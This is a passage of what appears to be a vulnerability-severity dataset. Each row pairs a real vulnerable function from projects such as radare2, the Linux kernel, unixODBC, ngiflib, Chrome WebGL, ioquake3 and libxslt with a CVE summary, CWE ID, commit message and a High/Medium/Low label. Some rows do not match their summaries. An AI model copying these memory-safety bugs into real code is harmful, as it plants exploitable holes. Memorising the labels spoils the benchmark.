Commit Message: nvmet-fc: ensure target queue id within range.
When searching for queue id's ensure they are within the expected range.
Signed-off-by: James Smart <[email protected]>
Signed-off-by: Christoph Hellwig <[email protected]>
Signed-off-by: Jens Axboe <[email protected]> | High | 169,859 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: R_API void r_anal_bb_free(RAnalBlock *bb) {
if (!bb) {
return;
}
r_anal_cond_free (bb->cond);
R_FREE (bb->fingerprint);
r_anal_diff_free (bb->diff);
bb->diff = NULL;
R_FREE (bb->op_bytes);
r_anal_switch_op_free (bb->switch_op);
bb->switch_op = NULL;
bb->fingerprint = NULL;
bb->cond = NULL;
R_FREE (bb->label);
R_FREE (bb->op_pos);
R_FREE (bb->parent_reg_arena);
if (bb->prev) {
if (bb->prev->jumpbb == bb) {
bb->prev->jumpbb = NULL;
}
if (bb->prev->failbb == bb) {
bb->prev->failbb = NULL;
}
bb->prev = NULL;
}
if (bb->jumpbb) {
bb->jumpbb->prev = NULL;
bb->jumpbb = NULL;
}
if (bb->failbb) {
bb->failbb->prev = NULL;
bb->failbb = NULL;
}
R_FREE (bb);
}
Vulnerability Type:
CWE ID: CWE-416
Summary: There is a use after free in radare2 2.6.0 in r_anal_bb_free() in libr/anal/bb.c via a crafted Java binary file.
Commit Message: Fix #10293 - Use-after-free in r_anal_bb_free() | Medium | 169,199 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int fill_thread_core_info(struct elf_thread_core_info *t,
const struct user_regset_view *view,
long signr, size_t *total)
{
unsigned int i;
/*
* NT_PRSTATUS is the one special case, because the regset data
* goes into the pr_reg field inside the note contents, rather
* than being the whole note contents. We fill the reset in here.
* We assume that regset 0 is NT_PRSTATUS.
*/
fill_prstatus(&t->prstatus, t->task, signr);
(void) view->regsets[0].get(t->task, &view->regsets[0],
0, sizeof(t->prstatus.pr_reg),
&t->prstatus.pr_reg, NULL);
fill_note(&t->notes[0], "CORE", NT_PRSTATUS,
sizeof(t->prstatus), &t->prstatus);
*total += notesize(&t->notes[0]);
do_thread_regset_writeback(t->task, &view->regsets[0]);
/*
* Each other regset might generate a note too. For each regset
* that has no core_note_type or is inactive, we leave t->notes[i]
* all zero and we'll know to skip writing it later.
*/
for (i = 1; i < view->n; ++i) {
const struct user_regset *regset = &view->regsets[i];
do_thread_regset_writeback(t->task, regset);
if (regset->core_note_type &&
(!regset->active || regset->active(t->task, regset))) {
int ret;
size_t size = regset->n * regset->size;
void *data = kmalloc(size, GFP_KERNEL);
if (unlikely(!data))
return 0;
ret = regset->get(t->task, regset,
0, size, data, NULL);
if (unlikely(ret))
kfree(data);
else {
if (regset->core_note_type != NT_PRFPREG)
fill_note(&t->notes[i], "LINUX",
regset->core_note_type,
size, data);
else {
t->prstatus.pr_fpvalid = 1;
fill_note(&t->notes[i], "CORE",
NT_PRFPREG, size, data);
}
*total += notesize(&t->notes[i]);
}
}
}
return 1;
}
Vulnerability Type: DoS
CWE ID:
Summary: The regset (aka register set) feature in the Linux kernel before 3.2.10 does not properly handle the absence of .get and .set methods, which allows local users to cause a denial of service (NULL pointer dereference) or possibly have unspecified other impact via a (1) PTRACE_GETREGSET or (2) PTRACE_SETREGSET ptrace call.
Commit Message: regset: Prevent null pointer reference on readonly regsets
The regset common infrastructure assumed that regsets would always
have .get and .set methods, but not necessarily .active methods.
Unfortunately people have since written regsets without .set methods.
Rather than putting in stub functions everywhere, handle regsets with
null .get or .set methods explicitly.
Signed-off-by: H. Peter Anvin <[email protected]>
Reviewed-by: Oleg Nesterov <[email protected]>
Acked-by: Roland McGrath <[email protected]>
Cc: <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]> | High | 165,644 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: SQLRETURN SQLSetDescField( SQLHDESC descriptor_handle,
SQLSMALLINT rec_number,
SQLSMALLINT field_identifier,
SQLPOINTER value,
SQLINTEGER buffer_length )
{
/*
* not quite sure how the descriptor can be
* allocated to a statement, all the documentation talks
* about state transitions on statement states, but the
* descriptor may be allocated with more than one statement
* at one time. Which one should I check ?
*/
DMHDESC descriptor = (DMHDESC) descriptor_handle;
SQLRETURN ret;
SQLCHAR s1[ 100 + LOG_MESSAGE_LEN ];
int isStrField = 0;
/*
* check descriptor
*/
if ( !__validate_desc( descriptor ))
{
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
"Error: SQL_INVALID_HANDLE" );
return SQL_INVALID_HANDLE;
}
function_entry( descriptor );
if ( log_info.log_flag )
{
sprintf( descriptor -> msg, "\n\t\tEntry:\
\n\t\t\tDescriptor = %p\
\n\t\t\tRec Number = %d\
\n\t\t\tField Ident = %s\
\n\t\t\tValue = %p\
\n\t\t\tBuffer Length = %d",
descriptor,
rec_number,
__desc_attr_as_string( s1, field_identifier ),
value,
(int)buffer_length );
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
descriptor -> msg );
}
thread_protect( SQL_HANDLE_DESC, descriptor );
if ( descriptor -> connection -> state < STATE_C4 )
{
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
"Error: HY010" );
__post_internal_error( &descriptor -> error,
ERROR_HY010, NULL,
descriptor -> connection -> environment -> requested_version );
return function_return_nodrv( SQL_HANDLE_DESC, descriptor, SQL_ERROR );
}
/*
* check status of statements associated with this descriptor
*/
if( __check_stmt_from_desc( descriptor, STATE_S8 ) ||
__check_stmt_from_desc( descriptor, STATE_S9 ) ||
__check_stmt_from_desc( descriptor, STATE_S10 ) ||
__check_stmt_from_desc( descriptor, STATE_S11 ) ||
__check_stmt_from_desc( descriptor, STATE_S12 ) ||
__check_stmt_from_desc( descriptor, STATE_S13 ) ||
__check_stmt_from_desc( descriptor, STATE_S14 ) ||
__check_stmt_from_desc( descriptor, STATE_S15 )) {
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
"Error: HY010" );
__post_internal_error( &descriptor -> error,
ERROR_HY010, NULL,
descriptor -> connection -> environment -> requested_version );
return function_return_nodrv( SQL_HANDLE_DESC, descriptor, SQL_ERROR );
}
if ( rec_number < 0 )
{
__post_internal_error( &descriptor -> error,
ERROR_07009, NULL,
descriptor -> connection -> environment -> requested_version );
return function_return_nodrv( SQL_HANDLE_DESC, descriptor, SQL_ERROR );
}
switch ( field_identifier )
{
/* Fixed-length fields: buffer_length is ignored */
case SQL_DESC_ALLOC_TYPE:
case SQL_DESC_ARRAY_SIZE:
case SQL_DESC_ARRAY_STATUS_PTR:
case SQL_DESC_BIND_OFFSET_PTR:
case SQL_DESC_BIND_TYPE:
case SQL_DESC_COUNT:
case SQL_DESC_ROWS_PROCESSED_PTR:
case SQL_DESC_AUTO_UNIQUE_VALUE:
case SQL_DESC_CASE_SENSITIVE:
case SQL_DESC_CONCISE_TYPE:
case SQL_DESC_DATA_PTR:
case SQL_DESC_DATETIME_INTERVAL_CODE:
case SQL_DESC_DATETIME_INTERVAL_PRECISION:
case SQL_DESC_DISPLAY_SIZE:
case SQL_DESC_FIXED_PREC_SCALE:
case SQL_DESC_INDICATOR_PTR:
case SQL_DESC_LENGTH:
case SQL_DESC_NULLABLE:
case SQL_DESC_NUM_PREC_RADIX:
case SQL_DESC_OCTET_LENGTH:
case SQL_DESC_OCTET_LENGTH_PTR:
case SQL_DESC_PARAMETER_TYPE:
case SQL_DESC_PRECISION:
case SQL_DESC_ROWVER:
case SQL_DESC_SCALE:
case SQL_DESC_SEARCHABLE:
case SQL_DESC_TYPE:
case SQL_DESC_UNNAMED:
case SQL_DESC_UNSIGNED:
case SQL_DESC_UPDATABLE:
isStrField = 0;
break;
/* Pointer to data: buffer_length must be valid */
case SQL_DESC_BASE_COLUMN_NAME:
case SQL_DESC_BASE_TABLE_NAME:
case SQL_DESC_CATALOG_NAME:
case SQL_DESC_LABEL:
case SQL_DESC_LITERAL_PREFIX:
case SQL_DESC_LITERAL_SUFFIX:
case SQL_DESC_LOCAL_TYPE_NAME:
case SQL_DESC_NAME:
case SQL_DESC_SCHEMA_NAME:
case SQL_DESC_TABLE_NAME:
case SQL_DESC_TYPE_NAME:
isStrField = 1;
break;
default:
isStrField = buffer_length != SQL_IS_POINTER && buffer_length != SQL_IS_INTEGER
&& buffer_length != SQL_IS_UINTEGER && buffer_length != SQL_IS_SMALLINT &&
buffer_length != SQL_IS_USMALLINT;
}
if ( isStrField && buffer_length < 0 && buffer_length != SQL_NTS)
{
__post_internal_error( &descriptor -> error,
ERROR_HY090, NULL,
descriptor -> connection -> environment -> requested_version );
return function_return_nodrv( SQL_HANDLE_DESC, descriptor, SQL_ERROR );
}
if ( field_identifier == SQL_DESC_COUNT && (SQLINTEGER)value < 0 )
{
__post_internal_error( &descriptor -> error,
ERROR_07009, NULL,
descriptor -> connection -> environment -> requested_version );
return function_return_nodrv( SQL_HANDLE_DESC, descriptor, SQL_ERROR );
}
if ( field_identifier == SQL_DESC_PARAMETER_TYPE && value != SQL_PARAM_INPUT
&& value != SQL_PARAM_OUTPUT && value != SQL_PARAM_INPUT_OUTPUT &&
value != SQL_PARAM_INPUT_OUTPUT_STREAM && value != SQL_PARAM_OUTPUT_STREAM )
{
__post_internal_error( &descriptor -> error,
ERROR_HY105, NULL,
descriptor -> connection -> environment -> requested_version );
return function_return_nodrv( SQL_HANDLE_DESC, descriptor, SQL_ERROR );
}
if ( CHECK_SQLSETDESCFIELD( descriptor -> connection ))
{
ret = SQLSETDESCFIELD( descriptor -> connection,
descriptor -> driver_desc,
rec_number,
field_identifier,
value,
buffer_length );
}
else if ( CHECK_SQLSETDESCFIELDW( descriptor -> connection ))
{
SQLWCHAR *s1 = NULL;
if (isStrField)
{
s1 = ansi_to_unicode_alloc( value, buffer_length, descriptor -> connection, NULL );
if (SQL_NTS != buffer_length)
{
buffer_length *= sizeof(SQLWCHAR);
}
}
else
{
s1 = value;
}
ret = SQLSETDESCFIELDW( descriptor -> connection,
descriptor -> driver_desc,
rec_number,
field_identifier,
s1,
buffer_length );
if (isStrField)
{
if (s1)
free(s1);
}
}
else
{
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
"Error: IM001" );
__post_internal_error( &descriptor -> error,
ERROR_IM001, NULL,
descriptor -> connection -> environment -> requested_version );
return function_return_nodrv( SQL_HANDLE_DESC, descriptor, SQL_ERROR );
}
if ( log_info.log_flag )
{
sprintf( descriptor -> msg,
"\n\t\tExit:[%s]",
__get_return_status( ret, s1 ));
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
descriptor -> msg );
}
return function_return( SQL_HANDLE_DESC, descriptor, ret );
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: The SQLWriteFileDSN function in odbcinst/SQLWriteFileDSN.c in unixODBC 2.3.5 has strncpy arguments in the wrong order, which allows attackers to cause a denial of service or possibly have unspecified other impact.
Commit Message: New Pre Source | High | 169,310 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void WritePixels(struct ngiflib_img * i, struct ngiflib_decode_context * context, const u8 * pixels, u16 n) {
u16 tocopy;
struct ngiflib_gif * p = i->parent;
while(n > 0) {
tocopy = (context->Xtogo < n) ? context->Xtogo : n;
if(!i->gce.transparent_flag) {
#ifndef NGIFLIB_INDEXED_ONLY
if(p->mode & NGIFLIB_MODE_INDEXED) {
#endif /* NGIFLIB_INDEXED_ONLY */
ngiflib_memcpy(context->frbuff_p.p8, pixels, tocopy);
pixels += tocopy;
context->frbuff_p.p8 += tocopy;
#ifndef NGIFLIB_INDEXED_ONLY
} else {
int j;
for(j = (int)tocopy; j > 0; j--) {
*(context->frbuff_p.p32++) =
GifIndexToTrueColor(i->palette, *pixels++);
}
}
#endif /* NGIFLIB_INDEXED_ONLY */
} else {
int j;
#ifndef NGIFLIB_INDEXED_ONLY
if(p->mode & NGIFLIB_MODE_INDEXED) {
#endif /* NGIFLIB_INDEXED_ONLY */
for(j = (int)tocopy; j > 0; j--) {
if(*pixels != i->gce.transparent_color) *context->frbuff_p.p8 = *pixels;
pixels++;
context->frbuff_p.p8++;
}
#ifndef NGIFLIB_INDEXED_ONLY
} else {
for(j = (int)tocopy; j > 0; j--) {
if(*pixels != i->gce.transparent_color) {
*context->frbuff_p.p32 = GifIndexToTrueColor(i->palette, *pixels);
}
pixels++;
context->frbuff_p.p32++;
}
}
#endif /* NGIFLIB_INDEXED_ONLY */
}
context->Xtogo -= tocopy;
if(context->Xtogo == 0) {
#ifdef NGIFLIB_ENABLE_CALLBACKS
if(p->line_cb) p->line_cb(p, context->line_p, context->curY);
#endif /* NGIFLIB_ENABLE_CALLBACKS */
context->Xtogo = i->width;
switch(context->pass) {
case 0:
context->curY++;
break;
case 1: /* 1st pass : every eighth row starting from 0 */
context->curY += 8;
if(context->curY >= p->height) {
context->pass++;
context->curY = i->posY + 4;
}
break;
case 2: /* 2nd pass : every eighth row starting from 4 */
context->curY += 8;
if(context->curY >= p->height) {
context->pass++;
context->curY = i->posY + 2;
}
break;
case 3: /* 3rd pass : every fourth row starting from 2 */
context->curY += 4;
if(context->curY >= p->height) {
context->pass++;
context->curY = i->posY + 1;
}
break;
case 4: /* 4th pass : every odd row */
context->curY += 2;
break;
}
#ifndef NGIFLIB_INDEXED_ONLY
if(p->mode & NGIFLIB_MODE_INDEXED) {
#endif /* NGIFLIB_INDEXED_ONLY */
#ifdef NGIFLIB_ENABLE_CALLBACKS
context->line_p.p8 = p->frbuff.p8 + (u32)context->curY*p->width;
context->frbuff_p.p8 = context->line_p.p8 + i->posX;
#else
context->frbuff_p.p8 = p->frbuff.p8 + (u32)context->curY*p->width + i->posX;
#endif /* NGIFLIB_ENABLE_CALLBACKS */
#ifndef NGIFLIB_INDEXED_ONLY
} else {
#ifdef NGIFLIB_ENABLE_CALLBACKS
context->line_p.p32 = p->frbuff.p32 + (u32)context->curY*p->width;
context->frbuff_p.p32 = context->line_p.p32 + i->posX;
#else
context->frbuff_p.p32 = p->frbuff.p32 + (u32)context->curY*p->width + i->posX;
#endif /* NGIFLIB_ENABLE_CALLBACKS */
}
#endif /* NGIFLIB_INDEXED_ONLY */
}
n -= tocopy;
}
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: ngiflib 0.4 has a heap-based buffer overflow in WritePixels() in ngiflib.c when called from DecodeGifImg, because deinterlacing for small pictures is mishandled.
Commit Message: fix deinterlacing for small pictures
fixes #12 | Medium | 169,512 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: GLboolean WebGLRenderingContextBase::isProgram(WebGLProgram* program) {
if (!program || isContextLost())
return 0;
return ContextGL()->IsProgram(program->Object());
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: Insufficient data validation in WebGL in Google Chrome prior to 68.0.3440.75 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Commit Message: Validate all incoming WebGLObjects.
A few entry points were missing the correct validation.
Tested with improved conformance tests in
https://github.com/KhronosGroup/WebGL/pull/2654 .
Bug: 848914
Cq-Include-Trybots: luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel
Change-Id: Ib98a61cc5bf378d1b3338b04acd7e1bc4c2fe008
Reviewed-on: https://chromium-review.googlesource.com/1086718
Reviewed-by: Kai Ninomiya <[email protected]>
Reviewed-by: Antoine Labour <[email protected]>
Commit-Queue: Kenneth Russell <[email protected]>
Cr-Commit-Position: refs/heads/master@{#565016} | Medium | 173,130 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: double GetGPMFSampleRateAndTimes(size_t handle, GPMF_stream *gs, double rate, uint32_t index, double *in, double *out)
{
mp4object *mp4 = (mp4object *)handle;
if (mp4 == NULL) return 0.0;
uint32_t key, insamples;
uint32_t repeat, outsamples;
GPMF_stream find_stream;
if (gs == NULL || mp4->metaoffsets == 0 || mp4->indexcount == 0 || mp4->basemetadataduration == 0 || mp4->meta_clockdemon == 0 || in == NULL || out == NULL) return 0.0;
key = GPMF_Key(gs);
repeat = GPMF_Repeat(gs);
if (rate == 0.0)
rate = GetGPMFSampleRate(handle, key, GPMF_SAMPLE_RATE_FAST);
if (rate == 0.0)
{
*in = *out = 0.0;
return 0.0;
}
GPMF_CopyState(gs, &find_stream);
if (GPMF_OK == GPMF_FindPrev(&find_stream, GPMF_KEY_TOTAL_SAMPLES, GPMF_CURRENT_LEVEL))
{
outsamples = BYTESWAP32(*(uint32_t *)GPMF_RawData(&find_stream));
insamples = outsamples - repeat;
*in = ((double)insamples / (double)rate);
*out = ((double)outsamples / (double)rate);
}
else
{
*in = ((double)index * (double)mp4->basemetadataduration / (double)mp4->meta_clockdemon);
*out = ((double)(index + 1) * (double)mp4->basemetadataduration / (double)mp4->meta_clockdemon);
}
return rate;
}
Vulnerability Type:
CWE ID: CWE-787
Summary: GoPro GPMF-parser 1.2.2 has an out-of-bounds write in OpenMP4Source in demo/GPMF_mp4reader.c.
Commit Message: fixed many security issues with the too crude mp4 reader | Medium | 169,547 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int MSG_ReadBits( msg_t *msg, int bits ) {
int value;
int get;
qboolean sgn;
int i, nbits;
value = 0;
if ( bits < 0 ) {
bits = -bits;
sgn = qtrue;
} else {
sgn = qfalse;
}
if (msg->oob) {
if(bits==8)
{
value = msg->data[msg->readcount];
msg->readcount += 1;
msg->bit += 8;
}
else if(bits==16)
{
short temp;
CopyLittleShort(&temp, &msg->data[msg->readcount]);
value = temp;
msg->readcount += 2;
msg->bit += 16;
}
else if(bits==32)
{
CopyLittleLong(&value, &msg->data[msg->readcount]);
msg->readcount += 4;
msg->bit += 32;
}
else
Com_Error(ERR_DROP, "can't read %d bits", bits);
} else {
nbits = 0;
if (bits&7) {
nbits = bits&7;
for(i=0;i<nbits;i++) {
value |= (Huff_getBit(msg->data, &msg->bit)<<i);
}
bits = bits - nbits;
}
if (bits) {
for(i=0;i<bits;i+=8) {
Huff_offsetReceive (msgHuff.decompressor.tree, &get, msg->data, &msg->bit);
value |= (get<<(i+nbits));
}
}
msg->readcount = (msg->bit>>3)+1;
}
if ( sgn && bits > 0 && bits < 32 ) {
if ( value & ( 1 << ( bits - 1 ) ) ) {
value |= -1 ^ ( ( 1 << bits ) - 1 );
}
}
return value;
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: Buffer overflow in ioquake3 before 2017-08-02 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a crafted packet.
Commit Message: Fix/improve buffer overflow in MSG_ReadBits/MSG_WriteBits
Prevent reading past end of message in MSG_ReadBits. If read past
end of msg->data buffer (16348 bytes) the engine could SEGFAULT.
Make MSG_WriteBits use an exact buffer overflow check instead of
possibly failing with a few bytes left. | High | 167,998 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void WebGLRenderingContextBase::TexImageHelperHTMLVideoElement(
const SecurityOrigin* security_origin,
TexImageFunctionID function_id,
GLenum target,
GLint level,
GLint internalformat,
GLenum format,
GLenum type,
GLint xoffset,
GLint yoffset,
GLint zoffset,
HTMLVideoElement* video,
const IntRect& source_image_rect,
GLsizei depth,
GLint unpack_image_height,
ExceptionState& exception_state) {
const char* func_name = GetTexImageFunctionName(function_id);
if (isContextLost())
return;
if (!ValidateHTMLVideoElement(security_origin, func_name, video,
exception_state))
return;
WebGLTexture* texture =
ValidateTexImageBinding(func_name, function_id, target);
if (!texture)
return;
TexImageFunctionType function_type;
if (function_id == kTexImage2D || function_id == kTexImage3D)
function_type = kTexImage;
else
function_type = kTexSubImage;
if (!ValidateTexFunc(func_name, function_type, kSourceHTMLVideoElement,
target, level, internalformat, video->videoWidth(),
video->videoHeight(), 1, 0, format, type, xoffset,
yoffset, zoffset))
return;
WebMediaPlayer::VideoFrameUploadMetadata frame_metadata = {};
int already_uploaded_id = -1;
WebMediaPlayer::VideoFrameUploadMetadata* frame_metadata_ptr = nullptr;
if (RuntimeEnabledFeatures::ExperimentalCanvasFeaturesEnabled()) {
already_uploaded_id = texture->GetLastUploadedVideoFrameId();
frame_metadata_ptr = &frame_metadata;
}
bool source_image_rect_is_default =
source_image_rect == SentinelEmptyRect() ||
source_image_rect ==
IntRect(0, 0, video->videoWidth(), video->videoHeight());
const bool use_copyTextureCHROMIUM = function_id == kTexImage2D &&
source_image_rect_is_default &&
depth == 1 && GL_TEXTURE_2D == target &&
CanUseTexImageByGPU(format, type);
if (use_copyTextureCHROMIUM) {
DCHECK_EQ(xoffset, 0);
DCHECK_EQ(yoffset, 0);
DCHECK_EQ(zoffset, 0);
if (video->CopyVideoTextureToPlatformTexture(
ContextGL(), target, texture->Object(), internalformat, format,
type, level, unpack_premultiply_alpha_, unpack_flip_y_,
already_uploaded_id, frame_metadata_ptr)) {
texture->UpdateLastUploadedFrame(frame_metadata);
return;
}
}
if (source_image_rect_is_default) {
ScopedUnpackParametersResetRestore(
this, unpack_flip_y_ || unpack_premultiply_alpha_);
if (video->TexImageImpl(
static_cast<WebMediaPlayer::TexImageFunctionID>(function_id),
target, ContextGL(), texture->Object(), level,
ConvertTexInternalFormat(internalformat, type), format, type,
xoffset, yoffset, zoffset, unpack_flip_y_,
unpack_premultiply_alpha_ &&
unpack_colorspace_conversion_ == GL_NONE)) {
texture->ClearLastUploadedFrame();
return;
}
}
if (use_copyTextureCHROMIUM) {
std::unique_ptr<ImageBufferSurface> surface =
WTF::WrapUnique(new AcceleratedImageBufferSurface(
IntSize(video->videoWidth(), video->videoHeight())));
if (surface->IsValid()) {
std::unique_ptr<ImageBuffer> image_buffer(
ImageBuffer::Create(std::move(surface)));
if (image_buffer) {
video->PaintCurrentFrame(
image_buffer->Canvas(),
IntRect(0, 0, video->videoWidth(), video->videoHeight()), nullptr,
already_uploaded_id, frame_metadata_ptr);
TexImage2DBase(target, level, internalformat, video->videoWidth(),
video->videoHeight(), 0, format, type, nullptr);
if (image_buffer->CopyToPlatformTexture(
FunctionIDToSnapshotReason(function_id), ContextGL(), target,
texture->Object(), unpack_premultiply_alpha_, unpack_flip_y_,
IntPoint(0, 0),
IntRect(0, 0, video->videoWidth(), video->videoHeight()))) {
texture->UpdateLastUploadedFrame(frame_metadata);
return;
}
}
}
}
scoped_refptr<Image> image =
VideoFrameToImage(video, already_uploaded_id, frame_metadata_ptr);
if (!image)
return;
TexImageImpl(function_id, target, level, internalformat, xoffset, yoffset,
zoffset, format, type, image.get(),
WebGLImageConversion::kHtmlDomVideo, unpack_flip_y_,
unpack_premultiply_alpha_, source_image_rect, depth,
unpack_image_height);
texture->UpdateLastUploadedFrame(frame_metadata);
}
Vulnerability Type:
CWE ID: CWE-125
Summary: Insufficient data validation in WebGL in Google Chrome prior to 64.0.3282.119 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page.
Commit Message: Tighten about IntRect use in WebGL with overflow detection
BUG=784183
TEST=test case in the bug in ASAN build
[email protected]
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: Ie25ca328af99de7828e28e6a6e3d775f1bebc43f
Reviewed-on: https://chromium-review.googlesource.com/811826
Reviewed-by: Kenneth Russell <[email protected]>
Commit-Queue: Zhenyao Mo <[email protected]>
Cr-Commit-Position: refs/heads/master@{#522213} | Medium | 172,667 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: xsltElement(xsltTransformContextPtr ctxt, xmlNodePtr node,
xmlNodePtr inst, xsltStylePreCompPtr castedComp) {
#ifdef XSLT_REFACTORED
xsltStyleItemElementPtr comp = (xsltStyleItemElementPtr) castedComp;
#else
xsltStylePreCompPtr comp = castedComp;
#endif
xmlChar *prop = NULL;
const xmlChar *name, *prefix = NULL, *nsName = NULL;
xmlNodePtr copy;
xmlNodePtr oldInsert;
if (ctxt->insert == NULL)
return;
/*
* A comp->has_name == 0 indicates that we need to skip this instruction,
* since it was evaluated to be invalid already during compilation.
*/
if (!comp->has_name)
return;
/*
* stack and saves
*/
oldInsert = ctxt->insert;
if (comp->name == NULL) {
/* TODO: fix attr acquisition wrt to the XSLT namespace */
prop = xsltEvalAttrValueTemplate(ctxt, inst,
(const xmlChar *) "name", XSLT_NAMESPACE);
if (prop == NULL) {
xsltTransformError(ctxt, NULL, inst,
"xsl:element: The attribute 'name' is missing.\n");
goto error;
}
if (xmlValidateQName(prop, 0)) {
xsltTransformError(ctxt, NULL, inst,
"xsl:element: The effective name '%s' is not a "
"valid QName.\n", prop);
/* we fall through to catch any further errors, if possible */
}
name = xsltSplitQName(ctxt->dict, prop, &prefix);
xmlFree(prop);
} else {
/*
* The "name" value was static.
*/
#ifdef XSLT_REFACTORED
prefix = comp->nsPrefix;
name = comp->name;
#else
name = xsltSplitQName(ctxt->dict, comp->name, &prefix);
#endif
}
/*
* Create the new element
*/
if (ctxt->output->dict == ctxt->dict) {
copy = xmlNewDocNodeEatName(ctxt->output, NULL, (xmlChar *)name, NULL);
} else {
copy = xmlNewDocNode(ctxt->output, NULL, (xmlChar *)name, NULL);
}
if (copy == NULL) {
xsltTransformError(ctxt, NULL, inst,
"xsl:element : creation of %s failed\n", name);
return;
}
copy = xsltAddChild(ctxt->insert, copy);
/*
* Namespace
* ---------
*/
if (comp->has_ns) {
if (comp->ns != NULL) {
/*
* No AVT; just plain text for the namespace name.
*/
if (comp->ns[0] != 0)
nsName = comp->ns;
} else {
xmlChar *tmpNsName;
/*
* Eval the AVT.
*/
/* TODO: check attr acquisition wrt to the XSLT namespace */
tmpNsName = xsltEvalAttrValueTemplate(ctxt, inst,
(const xmlChar *) "namespace", XSLT_NAMESPACE);
/*
* SPEC XSLT 1.0:
* "If the string is empty, then the expanded-name of the
* attribute has a null namespace URI."
*/
if ((tmpNsName != NULL) && (tmpNsName[0] != 0))
nsName = xmlDictLookup(ctxt->dict, BAD_CAST tmpNsName, -1);
xmlFree(tmpNsName);
}
if (xmlStrEqual(nsName, BAD_CAST "http://www.w3.org/2000/xmlns/")) {
xsltTransformError(ctxt, NULL, inst,
"xsl:attribute: Namespace http://www.w3.org/2000/xmlns/ "
"forbidden.\n");
goto error;
}
if (xmlStrEqual(nsName, XML_XML_NAMESPACE)) {
prefix = BAD_CAST "xml";
} else if (xmlStrEqual(prefix, BAD_CAST "xml")) {
prefix = NULL;
}
} else {
xmlNsPtr ns;
/*
* SPEC XSLT 1.0:
* "If the namespace attribute is not present, then the QName is
* expanded into an expanded-name using the namespace declarations
* in effect for the xsl:element element, including any default
* namespace declaration.
*/
ns = xmlSearchNs(inst->doc, inst, prefix);
if (ns == NULL) {
/*
* TODO: Check this in the compilation layer in case it's a
* static value.
*/
if (prefix != NULL) {
xsltTransformError(ctxt, NULL, inst,
"xsl:element: The QName '%s:%s' has no "
"namespace binding in scope in the stylesheet; "
"this is an error, since the namespace was not "
"specified by the instruction itself.\n", prefix, name);
}
} else
nsName = ns->href;
}
/*
* Find/create a matching ns-decl in the result tree.
*/
if (nsName != NULL) {
if (xmlStrEqual(prefix, BAD_CAST "xmlns")) {
/* Don't use a prefix of "xmlns" */
xmlChar *pref = xmlStrdup(BAD_CAST "ns_1");
copy->ns = xsltGetSpecialNamespace(ctxt, inst, nsName, pref, copy);
xmlFree(pref);
} else {
copy->ns = xsltGetSpecialNamespace(ctxt, inst, nsName, prefix,
copy);
}
} else if ((copy->parent != NULL) &&
(copy->parent->type == XML_ELEMENT_NODE) &&
(copy->parent->ns != NULL))
{
/*
* "Undeclare" the default namespace.
*/
xsltGetSpecialNamespace(ctxt, inst, NULL, NULL, copy);
}
ctxt->insert = copy;
if (comp->has_use) {
if (comp->use != NULL) {
xsltApplyAttributeSet(ctxt, node, inst, comp->use);
} else {
xmlChar *attrSets = NULL;
/*
* BUG TODO: use-attribute-sets is not a value template.
* use-attribute-sets = qnames
*/
attrSets = xsltEvalAttrValueTemplate(ctxt, inst,
(const xmlChar *)"use-attribute-sets", NULL);
if (attrSets != NULL) {
xsltApplyAttributeSet(ctxt, node, inst, attrSets);
xmlFree(attrSets);
}
}
}
/*
* Instantiate the sequence constructor.
*/
if (inst->children != NULL)
